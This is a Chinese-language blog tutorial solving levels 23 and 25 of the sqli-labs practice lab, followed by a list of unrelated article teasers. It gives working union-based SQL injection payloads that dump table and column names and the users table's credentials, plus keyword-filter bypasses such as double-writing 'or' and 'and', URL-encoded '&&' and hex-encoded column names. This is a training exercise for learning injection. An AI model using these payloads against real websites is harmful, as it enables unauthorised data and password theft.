【sql靶场】第23、25,25a关过滤绕过保姆级教程

目录

 

【sql靶场】第23、25-28关过滤绕过保姆级教程

第二十三关

第二十五关

1.爆出数据库

2.爆出表名

3.爆出字段

4.爆出账号密码


 

 

【sql靶场】第23、25,25a关过滤绕过保姆级教程

第二十三关

从本关开始又是get传参,并且还有了对某些字符或字段的过滤

 

老样子,先测试闭合方式

单引号

 

双引号

 

然后测试单引号闭合#

 

失败,换一个--+

 

失败,再换一个and '1'=1'

 

成功,猜测可能是对注释符进行了过滤

查看后端进行验证

结果确实在里面发现注释符过滤

 

回显测试

1个字段

 

2个字段

 

3个字段

 

成功无报错,且回显为1,2

 

进行注入

数据库名字

?id=-1'  union select database(),user(),3 and '1'='1

 

结果只有一个字段name会进行回显

进行测试一样,我曾查找原因但是找不到,其实无所谓,我们利用name字段的回显一样可以进行注入爆出信息

 

 

该数据库的所有表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3  and '1'='1

 

 

管理员用户表的所有字段

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3  and '1'='1

 

 

知道表名与字段名后最终就可以查询到管理员账号和密码

?id=-1' union select  1,(select group_concat(concat_ws(0x3a,username,password)) from users),3 and '1'='1

 

 

第二十五关

 

测试闭合-单引号

单引号闭合测试-成功且注释符正常

1.爆出数据库

进行数据库爆出

?id=-1'  union select 1,database(),3 --+

 

符号的 URL 编码问题‌

符号的特殊性‌: 在 URL 中表示“片段标识符”(Fragment Identifier),浏览器会将其后的内容截断且‌不会发送到服务器‌。 当输入 ?id=1' # 时,实际发送到服务器的请求是:

?id=1'

最终 SQL 语句为:

SELECT * FROM users WHERE id='1'' LIMIT 0,1

由于未闭合的单引号导致语法错误。

强制使用 # 的替代方法‌

若需使用 #,需将其 URL 编码为 %23

 

2.爆出表名

该数据库的所有表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3  --+

 

报错了没有infmation_schema------但是并没有输入infmation_schema,但是可以发现infmation_schema与information_schema就相差一个or有没有可能过滤了or,那么我们进行尝试各种方法进行绕过看可不可以绕过

 

方法一

双写

?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3  --+

 

成功

 

方法二

十六进制编码

?id=-1' union select 1,(select group_concat(table_name) from 0x696E666F726D6174696F6E5F736368656D612E7461626C6573 where table_schema='security'),3  --+

 

失败

 

 

方法三

反引号包裹字段名

?id=-1' union select 1,(select group_concat(table_name) from `information_schema.tables` where table_schema='security'),3 --+

失败

 

 

3.爆出字段

?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security' and table_name='users'),3--+

 

报错位置在table_name='users'),3--+,有没有可能是and也被过滤了

 

方法一

逻辑符号替代

?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security'  && table_name='users'),3 --+

 

失败

去后端进行调试发现变成了

"SELECT * FROM users WHERE id='-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security'  ' LIMIT 0,1"

&& 需配合 URL 编码(如 %26%26)使用,否则可能被 HTTP 协议解析为普通字符或参数分隔符‌

?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security'  %26%26 table_name='users'),3 --+

 

成功

 

方法二

双写

?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security'  aandnd table_name='users'),3--+

 

成功

 

方法三

十六进制

?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security'  0x414e44 table_name='users'),3--+

 

失败-----将AND写成0x414e44,希望数据库解析时将其视为AND。MySQL中确实可以使用十六进制表示,但通常用于字符串或数值,而不是关键字,直接将0x414e44作为操作符使用可能无效,因为数据库不会将十六进制值解析为关键字

 

方法四

‌注释插入干扰‌

?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security'  a/*!*/nd table_name='users'),3--+

 

失败-----语句中的 a/*!*/nd 意图绕过 AND 过滤,但内联注释 /*!*/ 实际执行时会被 MySQL 忽略,导致解析为 a nd(中间含空格),破坏 AND 关键词的完整性‌

 

方法五

大小写

?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema= 'security'  AnD table_name='users'),3--+

 

失败-----AnD被过滤了

 

4.爆出账号密码

知道表名与字段名后最终就可以查询到管理员账号和密码

?id=-1' union select  1,(select group_concat(concat_ws(0x3a,username,password)) from users),3 --+

 

报错----密码字段的or被过滤了

 

方法一

双写

?id=-1' union select  1,(select group_concat(concat_ws(0x3a,username,passwoorrd)) from users),3 --+

 

成功

 

方法二

‌十六进制编码字段名‌:将字段名转换为十六进制值,例如,password的十六进制是0x70617373776F7264。在查询中直接使用十六进制代替字段名,可能绕过字符串匹配的过滤。

?id=-1' union select  1,(select group_concat(concat_ws(0x3a,username,0x70617373776F7264)) from users),3 --+

 

成功

 

方法三

‌字符串函数拼接‌:使用CONCAT或SUBSTRING函数动态拼接字段名。例如,CONCAT('passw','ord') 可以生成“password”,从而避免直接使用含“or”的字段名。

?id=-1' union select  1,(select group_concat(concat_ws(0x3a,username,CONCAT('passw','ord'))) from users),3 --+

 

成功

 

方法四

‌注释插入干扰‌:在字段名的敏感部分插入注释,例如,pass/!/word,这样实际执行时注释会被忽略,但过滤机制可能不会识别到被注释分隔的关键字。

?id=-1' union select  1,(select group_concat(concat_ws(0x3a,username,pass/*!*/word)) from users),3 --+

 

失败--------若在 password 字段名中使用 pass/*!*/word,可能导致 concat_ws 函数参数解析异常(如字段名被截断为 password),引发语法错误‌

 

方法五

反引号包裹字段名‌:在MySQL中,使用反引号可以强制将字段名识别为普通标识符,而不是关键字。例如,SELECTpasswordFROM users; 这里的反引号包裹可以绕过过滤,因为过滤可能不会检查被反引号包裹的内容是否包含关键字。

?id=-1' union select 1,(select group_concat(concat_ws(0x3a,username,`password`)) from users),3 --+

 

失败------依旧被过滤了

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/73044.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python每日十题(5)

保留字,也称关键字,是指被编程语言内部定义并保留使用的标识符。Python 3.x版本中有35个保留字,分别为:and, as,assert,async,await,break,class,continue,def,del,elif,else, except, False, finally,for,from,global, if,import…

Pytorch使用手册—自定义 C++ 和 CUDA 扩展(专题五十二)

提示 从 PyTorch 2.4 开始,本教程已被废弃。请参考 PyTorch 自定义操作符,了解关于通过自定义 C++/CUDA 扩展扩展 PyTorch 的最新指南。 PyTorch 提供了大量与神经网络、任意张量代数、数据处理等相关的操作。然而,您可能仍然会发现自己需要一个更自定义的操作。例如,您可能…

CHM(ConcurrentHashMap)中的 sizeCtl 的作用与值变化详解

学海无涯,志当存远。燃心砺志,奋进不辍。愿诸君得此鸡汤,如沐春风,学业有成。若觉此言甚善,烦请赐赞一枚,共励学途,同铸辉煌 ConcurrentHashMap常简写为CHM,尤其是在讨论并发编程时。…

VLAN综合实验报告

一、实验拓扑 网络拓扑结构包括三台交换机(LSW1、LSW2、LSW3)、一台路由器(AR1)以及六台PC(PC1-PC6)。交换机之间通过Trunk链路相连,交换机与PC、路由器通过Access或Hybrid链路连接。 二、实验…

OpenGL ES ->计算多个帧缓冲对象(Frame Buffer Object)+叠加多个滤镜作用后的Bitmap

XML文件 <?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"android:layout_height"match_parent"><…

Java线程池深度解析:从使用到调优

适合人群&#xff1a;Java中级开发者 | 并发编程入门者 | 系统调优实践者 目录 一、引言&#xff1a;为什么线程池是Java并发的核心&#xff1f; 二、线程池核心知识点详解 1. 线程池核心参数与原理 2. 线程池的创建与使用 (1) 基础用法示例 (2) 内置线程池的隐患 3. 线…

【工具变量】全国地级市地方ZF债务数据集(2014-2023年)

地方ZF债务是地方财政运作的重要组成部分&#xff0c;主要用于基础设施建设、公共服务及经济发展&#xff0c;是衡量地方财政健康状况的重要指标。近年来&#xff0c;我国地级市的地方ZF债务规模不断变化&#xff0c;涉及一般债务和专项债务等多个方面&#xff0c;对金融市场、…

大模型训练的调参与算力调度技术分析

大模型训练的调参与算力调度 虽然从网络上&#xff0c;还有通过和大模型交流&#xff0c;了解了很多训练和微调的技术。但没有实践&#xff0c;也没有什么机会实践。因为大模型训练门槛还是挺高的&#xff0c;想要有一手资料比较困难。如果需要多机多卡&#xff0c;硬件成本小…

深入理解 lt; 和 gt;:HTML 实体转义的核心指南!!!

&#x1f6e1;️ 深入理解 < 和 >&#xff1a;HTML 实体转义的核心指南 &#x1f6e1;️ 在编程和文档编写中&#xff0c;< 和 > 符号无处不在&#xff0c;但它们也是引发语法错误、安全漏洞和渲染混乱的头号元凶&#xff01;&#x1f525; 本文将聚焦 <&#…

GRS认证的注意事项!GRS认证的定义

GRS认证的注意事项&#xff0c;对于企业而言&#xff0c;是通往可持续发展和环保生产道路上的重要里程碑。在追求这一认证的过程中&#xff0c;企业必须细致入微&#xff0c;确保每一个环节都符合严格的标准与要求。 首先&#xff0c;企业必须全面理解GRS认证的核心原则&#…

位运算--求二进制中1的个数

位运算–求二进制中1的个数 给定一个长度为 n 的数列&#xff0c;请你求出数列中每个数的二进制表示中 1 的个数。 输入格式 第一行包含整数 n。 第二行包含 n 个整数&#xff0c;表示整个数列。 输出格式 共一行&#xff0c;包含 n 个整数&#xff0c;其中的第 i 个数表…

Linux常用指令(3)

大家好,今天我们继续来介绍一下linux常用指令的语法,加深对linux操作系统的了解,话不多说,来看. 1.rmdir指令 功能&#xff1a;删除空目录 基本语法&#xff1a; rmdir 要删除的空目录 ⭐️rmdir删除的是空目录,如果目录下有内容是无法删除 2.mkdir指令 功能&#xff1a;创…

《Linux 网络架构:基于 TCP 协议的多人聊天系统搭建详解》

一、系统概述 本系统是一个基于 TCP 协议的多人聊天系统&#xff0c;由一个服务器和多个客户端组成。客户端可以连接到服务器&#xff0c;向服务器发送消息&#xff0c;服务器接收到消息后将其转发给其他客户端&#xff0c;实现多人之间的实时聊天。系统使用 C 语言编写&#x…

JavaIO流的使用和修饰器模式(直击心灵版)

系列文章目录 JavaIO流的使用和修饰器模式 文章目录 系列文章目录前言一、字节流&#xff1a; 1.FileInputStream(读取文件)2.FileOutputStream(写入文件) 二、字符流&#xff1a; 1..基础字符流:2.处理流&#xff1a;3.对象处理流&#xff1a;4.转换流&#xff1a; 三、修饰器…

【设计模式】SOLID 设计原则概述

SOLID 是面向对象设计中的五大原则&#xff0c;不管什么面向对象的语言&#xff0c; 这个准则都很重要&#xff0c;如果你没听说过&#xff0c;赶紧先学一下。它可以提高代码的可维护性、可扩展性和可读性&#xff0c;使代码更加健壮、易于测试和扩展。SOLID 代表以下五个设计原…

可发1区的超级创新思路:基于注意力机制的DSD-CNN时间序列预测模型(功率预测、交通流量预测、故障检测)

首先声明,该模型为原创!原创!原创! 一、应用场景 该模型主要用于时间序列数据预测问题,包含功率预测、电池寿命预测、电机故障检测等等 二、模型整体介绍(本文以光伏功率预测为例) DSD-CNN(Depthwise-Spacewise Separable CNN)结合通道注意力机制,通过以下创新提升…

wsl2配置xv6全解(包括22.04Jammy)

文章目录 获取xv6源代码Ubuntu20.04 Version安装指令成功测试参考MIT2021年官方文档 24.04 Version安装指令成功测试参考MIT2024年官方文档 Ubuntu 22.04没有官方文档&#xff1f; 配置大体流程1. 卸载原本qemu&#xff08;如果之前安装了&#xff09;2. clone qemu官方源代码&…

招聘面试季--一文顿悟,Java中字节流和字符流的区别及使用场景上的差异

‌一、核心区别‌ ‌特性‌‌字节流‌‌字符流‌‌数据单位‌以字节&#xff08;8-bit&#xff09;为单位处理数据&#xff08;如0xA1&#xff09;以字符&#xff08;16-bit Unicode&#xff09;为单位处理数据&#xff08;如A, 你&#xff09;‌基类‌InputStream / OutputSt…

车载以太网网络测试-16【传输层-UDP】

目录 1 摘要2 车载以太网传输层概述3 车载以太网UDP协议3.1 车载以太网UDP协议的作用3.2 UDP报文帧结构3.3 UDP协议的通信过程3.3.1 通信过程3.3.2 实例示例3.3.3 代码示例 4 总结 1 摘要 车载以太网的第五层是传输层&#xff0c;它在车载网络架构中扮演着至关重要的角色。主要…

深度强化学习中的深度神经网络优化策略:挑战与解决方案

I. 引言 深度强化学习&#xff08;Deep Reinforcement Learning&#xff0c;DRL&#xff09;结合了强化学习&#xff08;Reinforcement Learning&#xff0c;RL&#xff09;和深度学习&#xff08;Deep Learning&#xff09;的优点&#xff0c;使得智能体能够在复杂的环境中学…